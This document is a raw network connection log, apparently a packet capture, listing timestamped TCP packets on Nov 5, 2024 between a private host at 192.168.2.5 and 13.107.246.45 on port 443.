Nov 5, 2024 22:45:01.471383095 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.527148962 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.527415991 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.527579069 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.527579069 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.527579069 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.529973030 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.530000925 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.530071020 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.530189991 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.530200958 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.536246061 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.536268950 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.536310911 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.536319971 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.536356926 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.536529064 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.536547899 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.536559105 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.536565065 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.538588047 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.538600922 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.538680077 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.538795948 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.538805962 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.599478006 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.599548101 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.599594116 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.602051973 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.602066994 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.602078915 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.602085114 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.610021114 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.610038996 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.610097885 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.611459017 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.611469030 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.614566088 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.614587069 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.734494925 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.734940052 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.734957933 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.735416889 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.735420942 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.833352089 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.833385944 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.869514942 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.869537115 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.869580984 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.869607925 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.869648933 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.869895935 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.869910002 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.869919062 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.869924068 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.873445988 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.873477936 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.873549938 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.873703957 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.873714924 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.063860893 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.069497108 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.069525957 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.075608969 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.075614929 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.203484058 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.203527927 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.203577042 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.203587055 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.203634977 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.284871101 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.284893990 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.284907103 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.284913063 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.285146952 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.287497997 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.296372890 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.296389103 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.299799919 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.299804926 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.306488037 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.306495905 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.311373949 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.311378002 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.340935946 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.357814074 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.357822895 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.358223915 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.358228922 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.360347033 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.360389948 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.360475063 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.360584021 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.360599041 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.424743891 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.424765110 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.424807072 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.424844027 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.424877882 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.425082922 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.425095081 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.425103903 CET	50113	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.425108910 CET	443	50113	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.461550951 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.461585999 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.461658955 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.462337971 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.462348938 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.484312057 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.484395981 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.484440088 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.484733105 CET	50115	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.484740019 CET	443	50115	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.494282961 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.494322062 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.494376898 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.494708061 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.494720936 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564296961 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564326048 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564404011 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.564420938 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564567089 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.564579010 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564587116 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.564724922 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564754009 CET	443	50114	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.564793110 CET	50114	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.566696882 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.566735983 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.566797972 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.566912889 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.566926003 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.634821892 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.635284901 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.635296106 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.635612011 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.635616064 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.765844107 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.766443968 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.766530037 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.766555071 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.766566992 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.766577005 CET	50116	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.766582012 CET	443	50116	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.769151926 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.769187927 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:02.769257069 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.769385099 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:02.769399881 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.095567942 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.096133947 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.096151114 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.096523046 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.096527100 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.224348068 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.224402905 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.224452019 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.224648952 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.224663019 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.224672079 CET	50117	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.224677086 CET	443	50117	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.227296114 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.227344990 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.227417946 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.227555990 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.227569103 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.228104115 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.228415966 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.228430986 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.228849888 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.228854895 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.238687038 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.238993883 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.239007950 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.239485025 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.239489079 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.317599058 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.318249941 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.318264961 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.318519115 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.318521976 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.364389896 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.364464998 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.364515066 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.364772081 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.364772081 CET	50118	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.364784956 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.364793062 CET	443	50118	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.366956949 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.366986990 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.367058039 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.367178917 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.367193937 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375453949 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375469923 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375524998 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.375534058 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375576019 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.375629902 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375670910 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375714064 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.375725985 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375736952 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.375736952 CET	50119	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.375741959 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.375747919 CET	443	50119	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.377456903 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.377491951 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.377568960 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.377684116 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.377696037 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.451982975 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.452018976 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.452079058 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.452096939 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.452641964 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.452733994 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.457664013 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.457683086 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.457695007 CET	50120	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.457700014 CET	443	50120	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.471470118 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.471517086 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.471580982 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.471946001 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.471961975 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.549727917 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.550126076 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.550134897 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.550646067 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.550651073 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.802926064 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.802964926 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.802987099 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.803096056 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.803128958 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.803144932 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.803180933 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.804837942 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.804914951 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.804924011 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.804960012 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.811918020 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.811938047 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.811947107 CET	50121	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.811952114 CET	443	50121	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.815210104 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.815244913 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.815336943 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.815501928 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.815509081 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.972867966 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.973323107 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.973356962 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:03.973752022 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:03.973758936 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106121063 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106221914 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106235027 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106276989 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.106290102 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106328011 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.106563091 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.106590033 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.106981039 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.106987000 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.107105017 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.107125044 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.107137918 CET	50122	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.107144117 CET	443	50122	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.109484911 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.109518051 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.109596014 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.109724045 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.109739065 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.137252092 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.137583971 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.137595892 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.138129950 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.138135910 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.196399927 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.196904898 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.196929932 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.197253942 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.197261095 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.198458910 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.198498964 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.198594093 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.198854923 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.198868036 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.238795042 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.238815069 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.238871098 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.238882065 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.238914967 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.239052057 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.239068985 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.239078999 CET	50124	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.239084959 CET	443	50124	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.241452932 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.241486073 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.241559982 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.241674900 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.241688013 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325182915 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325203896 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325256109 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.325268984 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325407982 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.325417042 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325424910 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.325560093 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325586081 CET	443	50125	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.325622082 CET	50125	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.327184916 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.327199936 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.327267885 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.327399015 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.327410936 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.392878056 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.392908096 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.392924070 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.392985106 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.393003941 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.393054962 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.415503979 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.415544033 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.415564060 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.415704012 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.415704966 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.416651964 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.416651964 CET	50123	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.416666985 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.416676044 CET	443	50123	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.417776108 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.417809010 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.417876959 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.418005943 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.418015003 CET	443	50131	13.107.246.45	192.168.2.5
